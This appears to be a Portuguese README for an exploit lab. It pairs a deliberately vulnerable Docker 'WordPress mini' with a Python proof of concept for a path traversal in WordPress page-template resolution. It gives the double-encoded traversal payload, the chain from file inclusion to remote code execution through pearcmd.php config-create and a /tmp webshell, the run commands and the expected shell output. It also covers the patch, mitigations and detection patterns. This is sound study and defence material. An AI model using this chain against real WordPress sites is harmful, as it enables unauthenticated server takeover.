
Lab vulnerável (Docker) + PoC Python para a CVE-2026-87902 — path traversal não autenticado no WordPress Core (page-template -> LFI -> RCE condicional). Uso educacional/autorizado.
Lab deliberadamente vulnerável + PoC em Python para a CVE-2026-87902: path traversal não autenticado na resolução de page template do WordPress Core, levando a Local File Inclusion (LFI) e a RCE condicional.
| Campo | Valor |
|---|---|
| Produto | WordPress Core |
| Versões afetadas | 4.7.0 → 7.1.1 |
| Correção | 7.1.2 (backport até 4.7.37) |
| Tipo | Path Traversal (CWE-22) → LFI → RCE condicional |
| Autenticação | Nenhuma (não autenticado) |
| CVSS 4.0 | 9.2 (Crítico) |
| Publicação | 2026-09-23 |
⚠️ Aviso legal / ético. Todo o material aqui é para estudo em ambiente local e autorizado. O lab é uma imagem Docker propositalmente insegura — não a exponha na internet. O
exploit.pytem como alvo padrãohttp://localhost:8091de propósito. Rodar o PoC contra qualquer sistema sem autorização explícita por escrito é crime. Você é o único responsável pelo uso.
EXPLOIT-CVE-2026-87902/
├── README.md # este arquivo
├── docker-compose.yml # sobe o lab em localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # pré-condições ambientais de RCE
│ └── src/ # "WordPress mini" que reproduz o trecho vulnerável
│ ├── index.php # front controller (≈ template-loader.php)
│ ├── wp-mini.php # get_page_template()/locate_template()/... vulneráveis
│ ├── private/
│ │ └── secret-config.php # alvo .php fora do tema (prova de LFI)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # diretório "page-*" exigido p/ a travessia
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + cadeia RCE via pearcmd
└── requirements.txt
Pré-requisitos: Docker + Docker Compose e Python 3 com requests.
# 1) Suba o lab (fica em http://localhost:8091)
docker compose up --build
# 2) Em outro terminal, instale a dependência do PoC e rode
cd exploit
pip install -r requirements.txt
python3 exploit.py # roda LFI + RCE contra o lab local
# Opções úteis
python3 exploit.py --mode lfi # só a prova de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Derrube o lab
docker compose down
Saída esperada (resumo):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
Em get_page_template() o valor da query var pública pagename é usado
para montar o nome do template. O core valida o valor bruto com
validate_file() (que barra .. literal), mas em seguida decodifica o valor
uma vez e usa o resultado como candidato a template sem revalidar
(reprodução fiel em wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
O locator então concatena tema + "/" + template e inclui o primeiro
arquivo que existir, sem realpath() nem verificação de que o resultado
continua dentro do diretório do tema.
O atacante envia pagename duplamente codificado:
Valor no fio (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificação (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- sem '..' literal => passa por validate_file()
2ª decodificação (core): templates/../../.../pearcmd <- travessia real
Como o locator prefixa page-, o caminho vira
page-templates/../../.../pearcmd.php. Isso resolve para fora do tema.
page- (aqui,
page-templates/). É o ponto de partida real da travessia: no Linux cada
componente do caminho precisa existir para os ../ resolverem. Temas
legados (Twenty Twelve/Fourteen) e populares (Neve, Hestia, Sydney) atendem.register_argc_argv = On no PHP → $_SERVER['argv'] é populado a partir
da query string.pearcmd.php legível no servidor (a imagem oficial php:8.2-apache já o
traz em /usr/local/lib/php/pearcmd.php, no include_path padrão).Como o locator anexa .php, a LFI só alcança arquivos .php. Por isso a rota
prática de RCE encadeia com o pearcmd.php:
pearcmd.php passando, pela query string (=argv),
config-create para escrever um webshell .php em /tmp./tmp/<webshell>.php via nova travessia → o PHP
do atacante executa.O patch trata o valor de pagename de forma consistente: valida após
qualquer decodificação (ou rejeita entrada com sequências codificadas de
travessia) e passa a impor a fronteira do diretório na resolução do
template (o caminho final precisa continuar dentro do tema). Resultado: o valor
duplamente codificado não sobrevive mais até o include.
Mitigações: atualizar para ≥ 7.1.2; e, como defesa em profundidade,
register_argc_argv = Off, remover/restringir pearcmd.php, e um WAF que
detecte ../ codificado (%2e%2e%2f, %252e...) nas requisições.
../ codificado/duplo-codificado
(%2e%2e%2f, %252e%252e%252f) nos parâmetros.pagename), especialmente combinadas com query strings contendo
config-create / referências a pearcmd..php em /tmp seguida de inclusão.